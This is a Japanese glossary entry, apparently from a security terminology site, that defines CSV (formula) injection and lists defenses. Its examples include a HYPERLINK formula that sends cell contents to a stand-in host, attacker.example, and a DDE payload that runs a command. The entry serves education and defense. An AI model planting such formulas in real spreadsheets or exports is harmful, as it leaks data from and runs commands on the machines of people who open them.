CSV インジェクション
CSV インジェクション とは何ですか?
CSV インジェクションエクスポートされた CSV にスプレッドシートの数式を埋め込み、Excel や Sheets で開いた瞬間に攻撃者の意図する処理を実行させる攻撃。
CSV インジェクション(数式インジェクション)は、=・+・-・@・タブや改行で始まるセルを自動評価するスプレッドシートアプリの仕様を悪用します。Web アプリが攻撃者の入力を保存し後に CSV としてエクスポートすると、開かれたワークブックは DDE の呼び出し、リモート URL への接続、データ流出、マルウェアの取得などを実行する可能性があります。リスクはファイルの利用者側に存在し、データベース自体にはないため、コードレビューでも見落とされやすい点が特徴です。対策は、危険な文字で始まるセルに先頭シングルクォートなどの安全なプレフィックスを付加し、エクスポート前にフィールドを検証・エスケープし、利用者に対し不信頼なスプレッドシートを開く際の注意を促すことです。
● 例
- 01
問い合わせフォームの名前欄に =HYPERLINK("https://attacker.example/?l="&A2,"クリック") を入れると、エクスポートを開いた際に他のセル内容が外部に送信される。
- 02
エクスポートした CRM レポートに =cmd|'/c calc'!A1 が含まれ、古い Excel で DDE が起動する。
● よくある質問
CSV インジェクション とは何ですか?
エクスポートされた CSV にスプレッドシートの数式を埋め込み、Excel や Sheets で開いた瞬間に攻撃者の意図する処理を実行させる攻撃。 サイバーセキュリティの 攻撃と脅威 カテゴリに属します。
CSV インジェクション とはどういう意味ですか?
エクスポートされた CSV にスプレッドシートの数式を埋め込み、Excel や Sheets で開いた瞬間に攻撃者の意図する処理を実行させる攻撃。
CSV インジェクション からどのように防御しますか?
CSV インジェクション に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
CSV インジェクション の別名は何ですか?
一般的な別名: 数式インジェクション, Excel マクロインジェクション。